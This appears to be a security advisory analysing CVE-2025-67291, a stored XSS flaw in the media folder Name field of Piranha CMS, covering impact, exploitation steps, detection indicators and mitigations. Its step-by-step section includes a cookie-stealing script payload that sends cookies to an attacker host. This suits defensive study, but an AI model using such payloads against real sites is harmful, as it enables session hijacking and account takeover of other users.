CVE-2025-67291: 
C# vulnerability analysis and mitigation

CVE-2025-67291 is a stored cross-site scripting (XSS) vulnerability in the Media module of Piranha CMS v12.1, classified under CWE-79. It allows attackers to inject malicious JavaScript into the Name field of media folders, which is then stored and executed in the browsers of other users who view the affected content. The vulnerability was published on December 22, 2025, with a PoC added to public repositories by January 2, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium), as assessed by CISA-ADP (Github Advisory, NVD).

The root cause is improper neutralization of user-supplied input (CWE-79) in the Media module's folder Name field, where Piranha CMS v12.1 fails to sanitize or encode input before storing and rendering it. An authenticated attacker can create a new media folder and insert a JavaScript payload (e.g., <script>alert(1)</script>) into the Name field; the payload executes immediately upon folder creation and again when any user clicks the Edit button and then Done on the folder entry. The attack vector is network-based, requires low attack complexity, and necessitates user interaction from a victim to trigger script execution in their browser. A public proof-of-concept is available on GitHub (PoC Repository).

Successful exploitation enables session theft, credential harvesting, website defacement, and unauthorized actions performed on behalf of victim users whose browsers execute the injected script. The vulnerability affects the confidentiality and integrity of subsequent systems (other users' browser sessions), though it has no direct availability impact on the server. Because the payload persists in the CMS database, all users who access the Media module — including administrators — are at risk until the malicious folder name is removed or the application is patched (Github Advisory, Feedly).

A public proof-of-concept exploit is available on GitHub, published around January 2, 2026 (PoC Repository). There is no current evidence of in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.029–0.033%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog as of the time of this report (Github Advisory).

1. Authentication: Log in to the Piranha CMS instance as any authenticated user via /manager/login.
2. Navigate to Media module: Go to the Media page within the CMS manager interface.
3. Create a malicious folder: Click to create a new media folder and insert a JavaScript payload into the Name field, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Trigger initial execution: Press Enter to save the folder; the injected script executes immediately in the attacker's own browser, confirming the stored XSS.
5. Victim triggers execution: When another user (e.g., an administrator) navigates to the Media page or clicks the Edit button on the malicious folder and selects Done, the stored payload executes in their browser context.
6. Achieve objective: The executed script can steal session cookies, perform actions on behalf of the victim, or redirect the victim to a phishing page (PoC Repository).

• Logs: CMS access logs showing POST requests to the Media folder creation or edit endpoint containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) in the Name parameter.
• Database: Media folder records in the Piranha CMS database with Name field values containing JavaScript or HTML injection strings.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing the Media module, potentially carrying session cookie data in query parameters.
• Browser/Application: Unexpected JavaScript alert dialogs or redirects occurring when users navigate to the Media page or interact with folder Edit/Done actions (PoC Repository).

The GitHub Advisory (GHSA-83fp-hh9m-c2jq) lists affected versions as <= 12.0.0 for the NuGet package with no patched version currently specified, while the CVE itself targets v12.1 — organizations should monitor the Piranha CMS repository for an official patch release. In the interim, restrict access to the Media module to trusted, privileged users only, and implement a Content Security Policy (CSP) header to limit script execution contexts. Audit existing media folder names in the database for any stored malicious payloads and remove them. Input validation and output encoding should be applied server-side to the Name field as a compensating control (Github Advisory).